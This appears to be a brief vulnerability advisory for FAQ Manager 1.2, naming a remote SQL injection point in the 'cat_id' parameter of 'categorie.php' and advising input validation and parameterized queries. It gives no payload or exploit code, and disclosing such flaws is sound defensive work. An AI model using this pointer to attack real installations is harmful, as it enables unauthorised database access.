FAQ Manager 1.2 (categorie.php cat_id) Remote SQL Injection Vulnerability

A remote SQL injection vulnerability exists in FAQ Manager 1.2, due to insufficient sanitization of user-supplied input to the 'cat_id' parameter of the 'categorie.php' script. An attacker can exploit this vulnerability to gain access to the database, and can execute arbitrary SQL commands on the underlying database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL commands. Additionally, parameterized queries should be used to prevent SQL injection attacks.
